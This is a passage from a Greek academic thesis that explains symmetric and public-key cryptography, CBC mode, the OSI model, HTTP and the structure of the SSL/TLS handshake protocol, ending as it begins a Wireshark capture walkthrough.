18 Διαδικασία κρυπτογράφησης/αποκρυπτογράφησης Το απλό κείμενο εισάγεται μαζί με το κλειδί στον αλγόριθμο κρυπτογράφησης. Ο αλγόριθμος κρυπτογράφησης μετασχηματίζει το αρχικό κείμενο με το κλειδί κρυπτογράφησης σε ένα κρυπτογραφημένο κείμενο (ή κρυπτοκείμενο). Στην συνέχεια ο αλγόριθμος αποκρυπτογράφησης παίρνει ως είσοδο το κρυπτογραφημένο κείμενο και μαζί με το κλειδί αποκρυπτογράφησης (το κλειδί κρυπτογράφησης είναι ίδιο με αυτό της αποκρυπτογράφησης) εφαρμόζοντας την αντίστροφη διαδικασία από αυτήν της κρυπτογράφησης, το μετατρέπει στην αρχική του μορφή. Σχήμα 2.a.1.5.a Διαδικασία κρυπτογράφησης αποκρυπτογράφησης συμμετρικού κλειδιού Οι συμμετρικοί κρυπτογραφικοί αλγόριθμοι ταξινομούνται σε δύο κατηγορίες με κριτήριο τον τρόπο με τον οποίο επεξεργάζεται ο αλγόριθμος το αρχικό κείμενο. Οι κατηγορίες είναι : Αλγόριθμοι Ροής (stream ciphers) Ακολουθούν μια ροή στην κρυπτογράφηση του μηνύματος χωρίς να το μετατρέψουν σε τμήματα. Αλγόριθμοι Τμήματος (block ciphers) Οι αλγόριθμοι τμήματος χωρίζουν το αρχικό μήνυμα σε τμήματα τύπου αλφαριθμητικών (blocks) και κρυπτογραφούν το κάθε τμήμα χωριστά. RC4 A5/1 Trivium Snow 3G SEAL ORYX E0 Phelix Πίνακας 2.a.1.5.a(1) : Δημοφιλείς αλγόριθμοι ροής Πίνακας (2): Δημοφιλείς Αλγόριθμοι Τμήματος AES DES Triple - DES Blowfish CAST IDEA RC2 RC5 Serpent MARS 16

19 2.a.1.5.b Ασύμμετρο κρυπτοσύστημα Η ασύμμετρη (ή δημοσίου κλειδιού) κρυπτογραφία παρουσιάστηκε από τους Whitfield Diffie και Martin Hellman την δεκαετία του [1] Στην ασύμμετρη κρυπτογραφία χρησιμοποιούνται δύο κλειδιά, το δημόσιο και το ιδιωτικό κλειδί. Το δημόσιο κλειδί διανέμεται ελεύθερα ενώ το ιδιωτικό κλειδί παραμένει κρυφό από τον κάτοχο του. Κάθε δημόσιο κλειδί αντιστοιχεί σε ένα μοναδικό ιδιωτικό κλειδί. Για οποιαδήποτε συναλλαγή απαιτείται η χρήση και των δύο κλειδιών. Λειτουργία : Σε αυτού του είδους το κρυπτοσύστημα, η κρυπτογραφία εστιάζει σε δύο αρχέτυπες περιπτώσεις χρήσης : αυθεντικοποίηση και εμπιστευτικότητα. [2] Εμπιστευτικότητα Ο αποστολέας για να στείλει ένα μήνυμα στον παραλήπτη, πρώτα το κρυπτογραφεί χρησιμοποιώντας το δημόσιο κλειδί του παραλήπτη και στην συνέχεια το στέλνει. Για την αποκρυπτογράφηση του μηνύματος, χρειάζεται το αντίστοιχο ιδιωτικό κλειδί, το οποίο το κατέχει μόνο ο παραλήπτης. Συνεπώς μπορεί να διαβαστεί μόνο από τον ίδιο. Επιτυγχάνεται έτσι η εμπιστευτικότητα του μηνύματος. Ωστόσο αυτή η μέθοδος δεν εγγυάται αυθεντικοποίηση του αποστολέα. Κανείς δεν γνωρίζει αν ο αποστολέας είναι αυτός που ισχυρίζεται ότι είναι. Αυθεντικοποίηση Αντιστρέφοντας την χρήση των κλειδιών, ο αποστολέας για να στείλει ένα μήνυμα, χρησιμοποιεί το δικό του ιδιωτικό κλειδί για να το κρυπτογραφήσει. Στην συνέχεια στέλνει το μήνυμα στον παραλήπτη και ο δεύτερος το αποκρυπτογραφεί με το δημόσιο κλειδί του αποστολέα.το δημόσιο κλειδί του αποστολέα αντιστοιχεί μόνο με το ιδιωτικό του κλειδί. Επιτυγχάνεται έτσι η ταυτοποίηση του αποστολέα. Η μέθοδος αυτή δεν εγγυάται την εμπιστευτικότητα του μηνύματος. Το δημόσιο κλειδί διανέμεται ελεύθερα, συνεπώς ο οποιοσδήποτε θα μπορούσε να αποκρυπτογραφήσει το μήνυμα. Συνδυάζοντας τις παραπάνω μεθόδους επιτυγχάνονται και οι δύο στόχοι. 17

20 Σχήμα 2.a.1.5.b : Διαδικασία κρυπτογράφησης αποκρυπτογράφησης δημόσιου κλειδιού Δημοφιλείς ασύμμετροι αλγόριθμοι κρυπτογράφησης : DSA RSA Diffie-Hellman Digital Signature Algorithm ElGamal ECDSA XTR Πίνακας 2.a.1.5.b : ασύμμετροι αλγοριθμοι κρυπτογράφησης Ορισμένες από τις εφαρμογές δημόσιου κλειδιού πέρα από την κρυπτογράφηση/αποκρυπτογράφηση, συναντούμε στις εξής έννοιες : Ψηφιακή υπογραφή και Ανταλλαγή κλείδων, οι οποίες θα αναλυθούν σε παρακάτω ενότητες. 2.a.1.6 Μέθοδοι λειτουργίας Μια μέθοδος λειτουργίας είναι ένας προτεινόμενος τρόπος να χρησιμοποιηθεί ένας αλγόριθμος τμήματος για να κρυπτογραφήσει ένα απλό κείμενο (plaintext) και να παράγει το κρυπτοκείμενο (ciphertext) [3]. 18

21 Αν και υπάρχουν διάφοροι τρόποι λειτουργίας για την κρυπτογράφηση, στα πλαίσια της εργασίας θα αναλυθεί μόνο η λειτουργία CBC (Cipher Block Chaining). Η κρυπτογράφηση με την λειτουργία CBC προϋποθέτει ότι το απλό κείμενο θα χωριστεί σε τμήματα καθορισμένου μήκους. Αυτό επιτυγχάνεται με μέθοδο γεμίσματος (padding).η διαδικασία γεμίσματος έχει ως εξής : Θέλουμε να χωρίσουμε το κείμενο σε τμήματα καθορισμένου μήκους n-bytes το κάθε ένα. Αυτό επιτυγχάνεται θέτοντας τα πρώτα j-bytes του κειμένου στο πρώτο τμήμα, τα επόμενα n-bytes στο δεύτερο τμήμα κ.ο.κ Σε περίπτωση που τα τελευταία Bytes του κειμένου δεν επαρκούν για να συμπληρώσουν το τμήμα, τότε με την μέθοδο γεμίσματος «γεμίζουμε» ότι περισσεύει από τα bytes του τμήματος με επιπλέον (συνήθως με blank ή null χαρακτήρες) bytes. Σχήμα 2.a.1.6(1) : Διαδικασία γεμίσματος(padding) Μετά τη διαδικασία γεμίσματος ακολουθεί η διαδικασία κρυπτογράφησης CBC. Κρυπτογράφηση CBC Αρχικά χρησιμοποιείται ένα διάνυσμα αρχικοποίησης (IV) το οποίο γίνεται XOR με το πρώτο τμήμα. Το αποτέλεσμα της πράξης XOR θα είναι η είσοδος στον αλγόριθμο κρυπτογράφησης. Το αποτέλεσμα της κρυπτογράφησης θα χρησιμοποιηθεί στη πράξη XOR με το επόμενο τμήμα δίνοντας έτσι μια νέα είσοδο για αλγόριθμο κρυπτογράφησης κ.ο.κ 19

22 Η μαθηματική φόρμουλα για την κρυπτογράφηση είναι : Ci = EK(Pi Ci -1), C0 = IV Και η αντίστοιχη για την αποκρυπτογράφηση είναι : Pi = DK(Ci) Ci-1, C0 = IV Σχήμα 2.a.1.6(2): Η διαδικασία της κρυπτογράφησης με λειτουργία CBC 20

23 2.b Το πρωτόκολλο HTTP 2.b.1 Η επικοινωνία στο διαδίκτυο Από τον πυρήνα του το διαδίκτυο είναι χτισμένο στην κορυφή πρωτοκόλλων. Αυτά είναι, το πρωτόκολλο IP(Internet Protocol) και το πρωτόκολλο TCP(Transmission Control Protocol). Τα πρωτόκολλα αυτά κατανέμουν τα δεδομένα σε πακέτα προκειμένου να τα μεταδώσουν. 2.b.2 Τι είναι τα πρωτόκολλα Σε αντίθεση με τους ανθρώπους, οι υπολογιστές πρέπει να έχουν ρητά ορισμένο και δομημένο τρόπο επικοινωνίας. Πρέπει δηλαδή ο υπολογιστής να γνωρίζει εκ των προτέρων πως πρόκειται να ανταλλαχθεί η πληροφορία αλλά και την μορφή αυτής. Συνεπώς οι πρότυπες μέθοδοι μετάδοσης και επεξεργασίας διάφορων ειδών πληροφορίας εφαρμόζονται και οι μέθοδοι αυτές ονομάζονται πρωτόκολλα[4]. Υπάρχει ποικιλία πρωτοκόλλων για διάφορα είδη πληροφορίας και λειτουργιών. Τα πιο κοινά πρωτόκολλα είναι : TCP IP UDP SMTM, POP3 HTTP FTP 2.b.3 Μοντέλο OSI Για την καλύτερη κατανόησης της επικοινωνίας μέσω του διαδικτύου επινοήθηκε το μοντέλο OSI (Open Systems Interconnection). Το μοντέλο ορίζει μια ιεραρχική αρχιτεκτονική που διαχωρίζει λογικά τις λειτουργίες που απαιτούνται για την υποστήριξη του συστήματος προς το σύστημα επικοινωνίας. Με πιο απλά λόγια, με την κατανομή του δικτύου σε επίπεδα πετυχαίνουμε καλύτερα αποτελέσματα στην επικοινωνία [4]. 21

24 Το μοντέλο OSI έχει επτά επίπεδα, κάθε ένα από αυτά έχει διαφορετική έννοια ύπαρξης και πραγματοποιεί μια καλά καθορισμένη λειτουργία. Οι αρχές που προορίστηκαν για την εφαρμογή των επτά επιπέδων ήταν οι εξής [5] : Κάθε επίπεδο θα πρέπει να δημιουργείται όπου ένα διαφορετικό στάδιο έννοιας χρειάζεται. Κάθε επίπεδο θα πρέπει να εκτελεί μια καλά καθορισμένη λειτουργία. Η λειτουργία του κάθε επιπέδου θα πρέπει να επιλέγεται με γνώμονα τον καθορισμό των διεθνών τυποποιημένων πρωτόκολλων. Τα όρια των επιπέδων θα πρέπει να επιλέγονται έτσι ώστε να ελαχιστοποιηθεί η ροή πληροφοριών ανάμεσα στις διασυνδέσεις. Ο αριθμός των στρωμάτων θα πρέπει να είναι αρκετά μεγάλος ώστε οι διακριτές λειτουργίες να μην χρειάζεται να ρίχνονται μαζί στο ίδιο στρώμα εκτός του απαραιτήτου, και αρκετά μικρό ώστε η αρχιτεκτονική να μην γίνεται δυσκίνητη. Σχήμα 2.b.3 : το μοντέλο OSI και δεξιά το αντίστοιχο μοντέλο TCP/IP Με την προσέγγιση αυτή, δηλαδή διαχωρίζοντας τα επίπεδα, προσφέρονται αρκετά πλεονεκτήματα. Διαχωρίζοντας τις λειτουργίες της δικτύωσης σε λογικά μικρότερα τμήματα, τα προβλήματα του δικτύου μπορούν να διαχειριστούν ευκολότερα και να λυθούν μέσω της μεθοδολογίας «διαίρει και βασίλευε». Τα επίπεδα του μοντέλου αυτού προσφέρουν επεκτασιμότητα, δηλαδή νέα πρωτόκολλα και νέες υπηρεσίες οι οποίες είναι ευπρόσδεκτες σε αυτού του είδους την πολύ-επίπεδη αρχιτεκτονική. 22

25 2.b.4 Τι είναι το πρωτόκολλο HTTP Πρόκειται για το πιο εμφανές πρωτόκολλο στον μέσο χρήστη του διαδικτύου. Το πρωτόκολλο HTTP (Hyper Transfer Protocol) είναι ένα πρωτόκολλο επικοινωνίας που τοποθετείται στο επίπεδο εφαρμογής και χρησιμοποιείται για υπερμέσα, κατανεμημένα, συνεργατικά πληροφοριακά συστήματα. Είναι ένα πρωτόκολλο το οποίο καθορίζει τα βήματα μεταξύ της επικοινωνίας ανάμεσα σε ένα πρόγραμμα-πελάτη και ένα πρόγραμμαεξυπηρετητή που επικοινωνούν μέσω του ιστού. Καθορίζει δηλαδή τον τρόπο με τον οποίο πρέπει να διατυπωθεί η αίτηση και η απάντηση από τον πελάτη και τον εξυπηρετητή αντίστοιχα. Βασίζεται στον μηχανισμό διευθυνσιοδότησης πληροφορίας που παρέχεται από το URI. 2.b.4.a Ιστορικά στοιχεία Το πρωτόκολλο χρησιμοποιείται από τον παγκόσμιο ιστό από το Η έκδοση HTTP/0.9 είναι η πρώτη έκδοση του πρωτοκόλλου το οποίο τότε ήταν ένα απλό πρωτόκολλο για την μεταφορά δεδομένων στο διαδίκτυο. Την έκδοση αυτή αντικατέστησε η HTTP/1.0 κατά την οποία βελτιώθηκε το πρωτόκολλο επιτρέποντας στα μηνύματα να περιέχουν περισσότερες μεταπληροφορίες σχετικά με τα δεδομένα που μεταφέρονται καθώς και τροποποιήσεις στην σημασιολογία αίτησης/απάντησης. [7] Σήμερα χρησιμοποιούμε την έκδοση HTTP/1.1 η οποία αποτελεί μια πιο ολοκληρωμένη μορφή του HTTP/ b.4.b Πως λειτουργεί Το πρωτόκολλο HTTP είναι ουσιαστικά ένα πρωτόκολλο αίτησης/απόκρισης βασιζόμενο στην αρχιτεκτονική πελάτη-εξυπηρετητή. Χρησιμοποιεί ως υποκείμενο πρωτόκολλο μεταφοράς, το πρωτόκολλο TCP. Στα πλαίσια της επικοινωνίας με το πρωτόκολλο HTTP, όταν λέμε πελάτης εννοούμε τον εκάστοτε φυλλομετρητή που χρησιμοποιεί κάποιος και σαν εξυπηρετητή εννοούμε έναν Web εξυπηρετητή [7]. 23

26 Σχήμα 2.b.4 : Βασική αρχιτεκτονική πρωτοκόλλου HTTP Λειτουργία : Πελάτης O http πελάτης στέλνει μια αίτηση στον εξυπηρετητή σε μορφή αίτησης μεθόδου μαζί με το URI και την έκδοση του πρωτοκόλλου. Ακολουθεί ένα μήνυμα σαν τύπου MIME περιέχοντας επιπλέον πληροφορίες όπως τροποποιητές αίτησης, πληροφορίες για τον πελάτη, και πιθανών ένα περιεχόμενο πάνω από την σύνδεση TCP/IP Πίνακας 2.b.4(1) : λειτουργία πελάτη στο http Εξυπηρετητής Ο εξυπηρετητής αποκρίνεται με μία γραμμή κατάστασης. Αυτή η γραμμή συμπεριλαμβάνει: την έκδοση πρωτοκόλλου του μηνύματος έναν κώδικα επιτυχίας ή αποτυχίας. Ακολουθεί μήνυμα σαν τύπου MIME που περιέχει πληροφορίες για τον εξυπηρετητή, πληροφορίες μεταδεδομένων και πιθανώς ένα επιπλέον περιεχόμενο Πίνακας 2.b.4(2): Λειτουργία εξυπηρετητή στο http 24

27 2.b.5 Το πρωτόκολλο HTTP/1.1 Ο φυλλομετρητής είναι ένας HTTP πελάτης που στέλνει αιτήσεις σε εξυπηρετητές έτσι ώστε όταν ο πελάτης ανοίγει ένα αρχείο Ιστού (μέσω ενός URL ) ή επιλέξει έναν υπερσύνδεσμο, τότε ο φυλλομετρητής δημιουργεί και αποστέλλει ένα αίτημα HTTP στην διεύθυνση ip που υποδεικνύεται από το εκάστοτε URL. Ωστόσο στην διάρκεια του χρόνο η έκδοση αυτή του πρωτοκόλλου φάνηκε να μην καλύπτει τις ανάγκες στην επικοινωνία σε επιθυμητό επίπεδο. Δεν λάμβανε επαρκώς υπόψη την επίδραση των διαμεσολαβητών ιεραρχίας (hierarchical proxies), του caching, την ανάγκη για εικονικούς διακομιστές. Τις ανάγκες αυτές ήρθε να καλύψει η έκδοση HTTP/1.1. Πλέον το πρωτόκολλο περιλαμβάνει πιο αυστηρές απαιτήσεις προκειμένου να διασφαλιστεί μια αξιόπιστη εφαρμογή των χαρακτηριστικών του. 2.b.5.a Βασικά Χαρακτηριστικά Βασίζεται στον μηχανισμό διευθυνσιοδότησης πληροφοριακών πόρων Universal Resource Identifier (URI) Το πρωτόκολλο http είναι επιλήσμον(stateless) δηλαδή δεν κρατάει κατάσταση των συνδέσεων με τους διάφορους χρήστες-πελάτες. Είναι ανεξάρτητο των μέσων,οποιοδήποτε είδος δεδομένων μπορεί να σταλθεί από το HTTP όσο ο πελάτης και ο εξυπηρετητής γνωρίζουν πώς να χειριστούν το περιεχόμενο των δεδομένων. Το πρωτόκολλο HTTP/1.0 χρησιμοποιεί νέα σύνδεση για κάθε ανταλλαγή αίτησης/απόκρισης ενώ η σύνδεση για το HTTP/1.1 μπορεί να χρησιμοποιηθεί περισσότερες από μία ανταλλαγές αίτησης/απόκρισης [7] 2.b.5.b Λειτουργίες : Το πρωτόκολλο HTTP χρησιμοποιεί τις παρακάτω μεθόδους επικοινωνίας : GET HEAD POST PUT DELETE TRACE 25

28 Πρακτικά λοιπόν το πρωτόκολλο HTTP είναι ένα πρωτόκολλο αίτησης- απόκρισης. Ένας πελάτης αποστέλλει μια αίτηση σε έναν εξυπηρετητή υπό τη μορφή μια μεθόδου αιτήματος, του URI, και της έκδοσης του πρωτοκόλλου, ακολουθούμενο από μηνύματα που περιλαμβάνουν τροποποιητές αιτήσεων, ορισμένες πληροφορίες του πελάτη, και πιθανώς κάποιο περιεχόμενο στην διάρκεια σύνδεσης με τον εξυπηρετητή.ο εξυπηρετητής απαντά με μια γραμμή κατάστασης, συμπεριλαμβάνοντας την έκδοση πρωτοκόλλου του μηνύματος και έναν κώδικα επιτυχίας ή σφάλματος, ακολουθούμενο από ένα μήνυμα τύπου MIME συμπεριλαμβάνοντας μεταπληροφορίες για τον εξυπηρετητή, μεταπληροφορία της οντότητας, και πιθανώς περιεχόμενο της οντότητας. Η πλειοψηφία της HTTP επικοινωνίας καθορίζεται από έναν χρήστη-παράγοντα και αποτελεί την αποστολή μιας αίτησης σε κάποιον αρχικό εξυπηρετητή. 3. Ασφάλεια του πρωτοκόλλου HTTP Όπως προαναφέρθηκε, με την αύξηση της χρήσης του διαδικτύου, αυξήθηκε και η ανάγκη διασφάλισης της επικοινωνίας. Το βασικότερο πρωτόκολλο επικοινωνίας, το HTTP έγινε αιτία για την ανάπτυξη της ασφάλειας στην επικοινωνία στο διαδίκτυο. 3.a Πρωτόκολλο SSL Ο πλέον κατάλληλος τρόπος για την αντιμετώπιση ζητημάτων στο θέμα της ασφάλειας κατά την χρήση του διαδικτύου, είναι η αξιοποίηση των μηχανισμών της κρυπτογραφίας. Ο συνδυασμός αυτών των μηχανισμών παίρνει την μορφή πρωτοκόλλου. Ένα πρωτόκολλο το οποίο βρίσκεται μεταξύ του υποκείμενου πρωτοκόλλου μεταφοράς (TCP) και του επιπέδου εφαρμογής. Το κύριο πλέον παράδειγμα ενός τέτοιου πρωτοκόλλου είναι το πρωτόκολλο ασφαλείας SSL (Secure Socket Layer). 26

29 3.a.1 Ιστορικά Στοιχεία. Το πρωτόκολλο SSL σχεδιάστηκε από την εταιρεία Netscape έχοντας ως στόχο την ασφαλή αποστολή δεδομένων μέσω του the (TCP) wire κατά τα πρώτα βήματα του παγκόσμιου ιστού. Η πρώτη έκδοση του SSL ήταν η έκδοση 1.0, μια δοκιμαστική έκδοση που δεν κυκλοφόρησε ποτέ λόγω των προβλημάτων που παρατηρήθηκαν στην προστασία των πιστωτικών καρτών στο διαδίκτυο.το 1994 η Netscape δημιούργησε την δεύτερη έκδοση, η οποία δημοσιεύτηκε και εγκαινιάστηκε με τον φυλλομετρητή Netscape Navigator. Η έκδοση αυτή είχε πλέον την δυνατότητα να καταστήσει εμπιστευτικούς τους αριθμούς των πιστωτικών καρτών καθώς και να αυθεντικοποιήσει τον Web server με την χρήση κρυπτογράφησης και ψηφιακών πιστοποιητικών. Η δεύτερη έκδοση, υποστηρίζεται ακόμη και σήμερα, ωστόσο την διακρίνει ένας αριθμός προβλημάτων ασφαλείας. Αργότερα η Microsoft έκανε την εμφάνιση της με μία δική της έκδοση του SSL, την λεγόμενη PCT. Το 1995 η Netscape ισχυροποίησε τους κρυπτογραφικούς αλγόριθμους επιλύοντας αρκετά από τα προβλήματα ασφαλείας της δεύτερης έκδοσης, θέτοντας σε ισχύ την τρίτη έκδοση, το έτος Η τρίτη έκδοση είναι ένας ολικός ανασχεδιασμός του πρωτοκόλλου, που διορθώνει τα προβλήματα των προγενέστερων εκδόσεων, καθώς επίσης παρέχει επιπλέον χαρακτηριστικά [8]. Παράχθηκε από τον Paul Kocher δουλεύοντας με τους μηχανικούς της Netscape, τους Phil Karlton και Alan Freier. Το 1996 το προσχέδιο της τρίτης έκδοσης του SSL κυκλοφόρησε από το IETF ως ιστορικό ντοκουμέντο στο RFC 6101.Ο βασικός αλγόριθμος γράφτηκε από τον Δρ. Taher Elgamal. Ως ο chief scientist της Netscape, ο Taher αναγνωρίστηκε ως ο «πατέρας του SSL» [8][2]. Οι νεότερες εκδόσεις των SSL/TLS είναι βασισμένες στην τρίτη έκδοση του SSL. 3.a.2 Τι είναι το SSL Δρ. Taher A. Elgamal Το SSL είναι ένα πρωτόκολλο που χρησιμοποιείται με σκοπό την διατήρηση της αυθεντικότητας του πελάτη και του εξυπηρετητή σε μια ασφαλή επικοινωνία. Οι επιλογές υλοποίησης του είναι δύο : Το πρωτόκολλο ασφαλείας SSL να παρέχεται ως μέρος του υποκείμενου πρωτοκόλλου και συνεπώς να είναι διαφανές στις εφαρμογές (όπως το OpenSSL), διαφορετικά να είναι σε θέση να ενσωματώνεται σε συγκεκριμένα πακέτα εφαρμογών (Web Servers). Η χρήση του σήμερα έγκειται στους Web Servers και σε φυλλομετρητές. 27

30 3.a.3 Τοποθέτηση και αρχιτεκτονική Το πρωτόκολλο SSL βρίσκεται κάτω από το επίπεδο εφαρμογής, όπως τα πρωτόκολλα HTTP, SMTP και FTP και πάνω από το πρωτόκολλο TCP/IP. Σχήμα 3.a : τοποθεσία και αρχιτεκτονική SSL Το πρωτόκολλο αποτελείται από τέσσερα επιμέρους πρωτόκολλα. Αυτά είναι : Πρωτόκολλο Record Πρωτόκολλο ChangeCipherSpec Πρωτόκολλο Alert Πρωτόκολλο Handshake 3.a.3.a Πρωτόκολλο Record Layer. Το πρωτόκολλο Record χρησιμεύει στον σχηματισμό(format) των υπόλοιπων τριών πρωτοκόλλων [9].Ουσιαστικά λαμβάνει δεδομένα από αυτά τα πρωτόκολλα και ασχολείται με τον κατακερματισμό, την συμπίεση, την αυθεντικοποίηση και την κρυπτογράφηση αυτών. Η διαδικασία του σχηματισμού παρέχει μια επικεφαλίδα για κάθε μήνυμα καθώς και μια σύνοψη, που παράγεται από ένα κώδικα αυθεντικοποίησης μηνύματος (MAC) στο τέλος. Τα πεδία που αποτελούν την επικεφαλίδα του πρωτοκόλλου Record είναι : Ορισμός πρωτοκόλλου (1 byte) Έκδοση πρωτοκόλλου (2 byte) Μήκος (2 bytes) 28

31 Τα μηνύματα πρωτοκόλλου που ακολουθούν την επικεφαλίδα δεν επιτρέπεται να ξεπερνούν τα 2 14 (16,384) bytes, όπως καθορίζεται από το πρωτόκολλο SSL. Σχήμα 3.a.3.a: αρχιτεκτονική πρωτοκόλλου SSL [42] 3.a.3.b Πρωτόκολλο ChangeCipherSpec Το πρωτόκολλο συντίθεται από ένα μήνυμα που σημαίνει την αρχή μιας ασφαλούς επικοινωνίας μεταξύ του πελάτη και του εξυπηρετητή [9]. Παρόλο όμως που το πρωτόκολλο χρησιμοποιεί τον σχηματισμό του πρωτοκόλλου Record το πραγματικό μέγεθος του μηνύματος είναι 1 byte, και σημαίνει την αλλαγή στο πρωτόκολλο επικοινωνίας παίρνοντας την τιμή 1. 3.a.3.c Πρωτόκολλο Alert Η λειτουργία αυτού του πρωτοκόλλου περιορίζεται στην αποστολή σφαλμάτων, προβλημάτων ή προειδοποιήσεων σχετικά με την σύνδεση ανάμεσα στις οντότητες. Το πρωτόκολλο σχηματίζεται από τα εξής δύο πεδία : 29

32 1. Επίπεδο δριμύτητας Αποστέλλει μηνύματα με τιμές 1 ή 2,εξαρτώμενα από το επίπεδο μέριμνας. Ένα μήνυμα της τιμής 1 είναι ένα μήνυμα προειδοποίησης που προτείνει την περάτωση της συνόδου των οντοτήτων και της επανασύνδεσης μέσω μιας νέας χειραψίας. Ένα μήνυμα τιμής 2 είναι ένα καίριο μήνυμα συναγερμού, και προϋποθέτει τον τερματισμό της συνόδου. 2. Περιγραφή Alert Το πεδίο αυτό υποδεικνύει το συγκεκριμένο σφάλμα που προκάλεσε η αποστολή ενός μηνύματος συναγερμού από μια οντότητα. Το πεδίο αποτελείται από 1 byte και σχεδιάστηκε με κατάληξη σε έναν από δώδεκα συγκεκριμένους αριθμούς όπου ο κάθε ένας αντιστοιχεί σε κάποιο νόημα [9]. Οι περιγραφές που ακολουθούν ένα καίριο μήνυμα alert είναι υπογραμμισμένες και είναι με κόκκινο φόντο. Περιγραφές Alert CloseNotify HandshakeFailure CertificateRevoked UnexpectedMessage NoCertificate CertificateExpired BadRecordMAC BadCertificate CertificateUknown DecompressionFailure UnsupportedCertificate IlligalParameter Πίνακας 3.a.3.c : Περιγραφή μηνύματος Alert 3.a.3.d Πρωτόκολλο χειραψίας Πρόκειται για μια ανταλλαγή μηνυμάτων ενός χρήστη με έναν εξυπηρετητή εγκαθιστώντας μια ασφαλή επικοινωνία μεταξύ τους. Τα μηνύματα αυτά που αποτελούν την χειραψία είναι τα εξής : ClientHello, ServerHello, ServerKeyExchange, ServerHelloDone,ClientKeyExchange, ChangeCipherSpec, Finished, ChangeCipherSpec, Finished. 3.a.3.d.1 ClientHello Αποτελεί το πρώτο μήνυμα της χειραψίας.ο πελάτης με το μήνυμα ClientHello σηματοδοτεί την αίτηση για την αρχή μιας ασφαλούς επικοινωνίας. Επιπλέον το μήνυμα 30

33 αυτό περιλαμβάνει ορισμένες επιλογές που προσφέρονται από τον πελάτη προκειμένου να διεξαχθεί η επικοινωνία με τον εξυπηρετητή. Οι κατηγορίες των επιλογών αυτών αφορούν: Την έκδοση του SSL που θα χρησιμοποιηθεί Τα CipherSuites που υποστηρίζει ο πελάτης Τα CompressionMethods που χρησιμοποιεί ο πελάτης Οι λοιπές πληροφορίες που περιλαμβάνει αυτό το μήνυμα είναι ένα τυχαίος αριθμός 32- byte που βοηθάει τον πελάτη στην εγκατάσταση κρυπτογραφημένης επικοινωνίας και επιπλέον ένα πεδίο SessionID το οποίο είναι κενό [9]. 3.a.3.d.2 ServerHello Το δεύτερο μήνυμα της SSL χειραψίας. Σε αυτό το μήνυμα ο εξυπηρετητής κάνει ορισμένες επιλογές βασιζόμενος στο μήνυμα ClientHello που έστειλε ο πελάτης. Ο εξυπηρετητής επιστρέφει πέντε πεδία, όπως στο μήνυμα ClientHello, με μόνη διαφορά ότι γεμίζει το πεδίο του SessionID και παίρνει αποφάσεις για την έκδοση του SSL που πρόκειται να χρησιμοποιηθεί, την CompressionMethod και τα CipherSuite. Οι σφραγίδες της ημερομηνίας και ώρας αντικαθιστούν τέσσερα Bytes του πεδίου τυχαίου αριθμού προκειμένου να αποφευχθούν επαναλαμβανόμενες τυχαίες τιμές. 3.a.3.d.3 ServerKeyExchange Σε αυτό το σημείο ο εξυπηρετητής έχει ήδη λάβει τις αποφάσεις σχετικά με την διάδοση των δεδομένων. Το επόμενο βήμα που εκκρεμεί είναι ο καθορισμός της κρυπτογράφησης των δεδομένων που θα μεταφερθούν μεταξύ των οντοτήτων. Η πληροφορία που θα καθορίσει τον τρόπο κρυπτογράφησης σε αυτό το σημείο, θα μεταδοθεί χωρίς η ίδια να έχει κρυπτογραφηθεί, μιας και δεν έχει συμφωνηθεί κάποιος αλγόριθμος για την κρυπτογράφηση της. Αυτό σημαίνει πως όλη η πληροφορία σε αυτή την φάση πρέπει να βρίσκεται σε δημόσιο domain. Το δημόσιο κλειδί του εξυπηρετητή χρησιμοποιείται για να κρυπτογραφήσει ένα ξεχωριστό κλειδί συνόδου(session), ώστε να διατηρείται για αυτή την ασφαλή επικοινωνία. Και οι δύο πλευρές θα χρησιμοποιήσουν το ίδιο κλειδί,προκειμένου να κρυπτογραφήσουν τα δεδομένα που θα μεταδοθούν. Για την διασφάλιση της ταυτοποίησης των οντοτήτων θα χρησιμοποιηθούν ψηφιακές υπογραφές. Ψηφιακά πιστοποιητικά συνδυάζουν το δημόσιο κλειδί και το αντιστοιχίζουν στο όνομα του κατόχου του πιστοποιητικού. Τα πιστοποιητικά αυτά περιέχουν δημόσια κλειδιά και μια ημερομηνία λήξης. 31

34 3.a.3.d.4 ServerHelloDone Από την στιγμή που ο εξυπηρετητής έχει ολοκληρώσει το μήνυμα ServerKeyExchange, ο πελάτης λαμβάνει ένα μήνυμα ServerHelloDone που υποδεικνύει ότι ο εξυπηρετητής έχει λάβει υπόψη τα μηνύματα του. 3.a.3.d.5 ClientKeyExchange Το SSL δεν επιβάλει στον πελάτη να έχει δημόσιο και ιδιωτικό κλειδί,προκειμένου να εγκατασταθεί μια ασφαλής σύνδεση. Tο μήνυμα ClientKeyExchange περιέχει πληροφορίες σχετικά με το κλειδί το οποίο ο πελάτης και ο εξυπηρετητής θα χρησιμοποιήσουν για να επικοινωνήσουν. 3.a.3.d.6 ChangeCipherSpec Τα μηνύματα ChangeCipherSpec είναι δύο (ένα από κάθε πλευρά) και σηματοδοτούν την αλλαγή της μετάδοσης δεδομένων, από μη-ασφαλή σε ασφαλή. 3.a.3.d.7 Finished Τα δύο μηνύματα που σημαίνουν την λήξη της SSL χειραψίας διασφαλίζουν ότι τρία πράγματα έχουν πιστοποιηθεί πριν την λήξη της αρχικής χειραψίας. Αυτά είναι : Η πληροφορία του κλειδιού Τα περιεχόμενα όλων των προηγούμενων μηνυμάτων SSL χειραψιών που ανταλλάχθηκαν από τα συστήματα. Μια ειδική τιμή υποδεικνύεται όταν ο αποστολέας είναι πελάτης ή εξυπηρετητής. 32

35 Σχήμα 3.a.3.d H διαδικασία της χειραψίας στο πρωτόκολλο SSL/TLS [43] 33

36 3.a.4 Η SSL χειραψία στην πράξη Στα πλαίσια κατανόησης των παραπάνω εννοιών που αφορούν μια χειραψία SSL/TLS θα χρησιμοποιηθεί το εργαλείο Wireshark, προκειμένου να καταγραφή μια λειτουργία στην προσπάθεια σύνδεσης του φυλλομετρητή με μια ιστοσελίδα. Ο πελάτης αυθεντικοποιεί τον εξυπηρετητή κατά την διάρκεια του πρωτοκόλλου Handshake(πρωτόκολλο χειραψίας). Όταν ξεκινήσει η σύνοδος και η χειραψία ολοκληρωθεί, η μεταφορά δεδομένων είναι πλέον κρυπτογραφημένη στη διάρκεια της φάσης του πρωτοκόλλου Record. Αν προκύψει κάποιος συναγερμός (alert) σε οποιοδήποτε σημείο κατά την διάρκεια της συνόδου, τότε η προειδοποίηση συνδέεται στο αμφισβητήσιμο πακέτο και διαχειρίζεται σύμφωνα με το πρωτόκολλο Alert. Στην συνέχεια παρατηρούμε τα πρωτόκολλα TCP και TLS1.2 καθώς και την διαδικασία της χειραψίας. Παρατηρούμε το Client Hello και τα 